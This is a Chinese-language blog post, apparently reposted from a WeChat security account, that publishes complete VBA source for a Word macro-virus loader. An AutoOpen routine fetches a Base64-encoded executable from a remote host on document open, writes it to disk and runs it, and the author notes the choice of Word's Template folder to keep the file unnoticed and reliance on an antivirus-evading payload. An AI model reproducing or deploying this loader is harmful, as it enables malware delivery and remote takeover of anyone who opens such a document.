很久之前用的了,比较通用的写法。宏病毒这玩意现在不常用,且也不是很常杀,源码直接扔这里了。
. . . * . * ☄️. * . * . 🔆.* . * . 🧶 * . * . . .
前言
宏病毒感觉是很没有必要存在的一种病毒- -。用VB直接上线就算做好了免杀也相当于明文,而且带有病毒的文档一定会弹窗。但是,出于研究的目的还是要搞一下。
优缺点我就不赘述了,由于上面提到的明文缺点,并且WordBasic适用范围很小,代码就不直接在宏上跑了,不如使用已经免杀的exe直接解密执行,这样还能一劳永逸。
书写一个解密函数(Base64)
Function Base64Decode(ByVal base64String As String) As Byte()
Dim base64Data As String
Dim bytesCount As Long
Dim decodedBytes() As Byte
' 移除字符串中的空格和换行符
base64Data = Replace(Replace(base64String, " ", ""), vbCrLf, "")
' 创建 Base64 解码器对象
Dim decoder As Object
Set decoder = CreateObject("MSXML2.DomDocument").createElement("b64")
' 解码 Base64 字符串
decoder.DataType = "bin.base64"
decoder.Text = base64Data
decodedBytes = decoder.nodeTypedValue
Base64Decode = decodedBytes
End Function
执行部分
按照上面的解密函数,exe经过base64再移位之后发过来,然后本地解除加密后另存为文件再直接运行上线。
解密的位置在Word的Template文件夹里,所以不需要担心写出的文件被发现。
Sub DecryAndExec(ByVal str As String)
'RUBY风味
Dim path As String
Dim exec() As Byte
path = "aaaaa.exe"
exec = Base64Decode(str) ' 解密
On Error Resume Next
Open path For Binary As #1
If Err.Number <> 0 Then
Close #1
Kill path
Open path For Binary As #1
End If
If Err.Number = 0 Then
Put #1, , exec ' 写入到文件
Close #1
On Error Resume Next
Shell path, vbNormalFocus ' 执行此文件
End If
End Sub
HTTP部分
这个是因为,VB有行长度限制,而且远端加载可以缩小宏病毒的大小。
写一个接收远端HTTP 的函数。
Function HttpReq(ByVal url As String, ByVal method As String, ByVal requestBody As String) As String
Dim req As Object
Set req = CreateObject("MSXML2.req")
' 发送HTTP请求
req.Open method, url, False
req.setRequestHeader "Content-Type", "application/json"
req.send requestBody
' 获取响应体
HttpReq = req.responseText
End Function
自动运行部分
很简单,加上就行:
Sub AutoOpen()
Main
End Sub
最终部分
把上面几个部分整合一下即可。
Sub AutoOpen()
Main
End Sub
Sub Main()
Dim str As String
str = HttpReq("http://192.168.92.129/aaa.txt")
DecryAndExec str
End Sub
Function Base64Decode(ByVal base64String As String) As Byte()
Dim base64Data As String
Dim bytesCount As Long
Dim decodedBytes() As Byte
' 移除字符串中的空格和换行符
base64Data = Replace(Replace(base64String, " ", ""), vbCrLf, "")
' 创建 Base64 解码器对象
Dim decoder As Object
Set decoder = CreateObject("MSXML2.DomDocument").createElement("b64")
' 解码 Base64 字符串
decoder.DataType = "bin.base64"
decoder.Text = base64Data
decodedBytes = decoder.nodeTypedValue
Base64Decode = decodedBytes
End Function
Function HttpReq(ByVal url As String) As String
Dim req As Object
Set req = CreateObject("MSXML2.XMLHTTP")
' 发送HTTP请求
req.Open "GET", url, False
req.setRequestHeader "Content-Type", "application/json"
req.send ""
' 获取响应体
HttpReq = req.responseText
End Function
Sub DecryAndExec(ByVal str As String)
'RUBY风味
Dim path As String
Dim exec() As Byte
path = "aaaaa.exe"
exec = Base64Decode(str) ' 解密
On Error Resume Next
Open path For Binary As #1
If Err.Number <> 0 Then
Close #1
Kill path
Open path For Binary As #1
End If
If Err.Number = 0 Then
Put #1, , exec ' 写入到文件
Close #1
On Error Resume Next
Shell path, vbNormalFocus ' 执行此文件
End If
End Sub
制作Word宏病毒
直接全局搜索宏,查看宏然后编辑,将代码粘进去即可。成功上线。此方法依赖于exe的免杀,本身不具有问题。
. . . * . * 🌟 * . * . . .
由于很多人问我微信群的事情,所以我建了一个小微信群。现在可以在公众号菜单里选择合作交流->交流群获取交流群二维码,希望大家和谐交流,为更好更友善的行业环境贡献自己的力量。
如果喜欢我的文章,请点赞在看。网安技术文章、安卓逆向、渗透测试、吃瓜报道,尽在我的公众号:
原文始发于微信公众号(重生之成为赛博女保安):一种基于远程加载的宏病毒Loader(附源代码)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论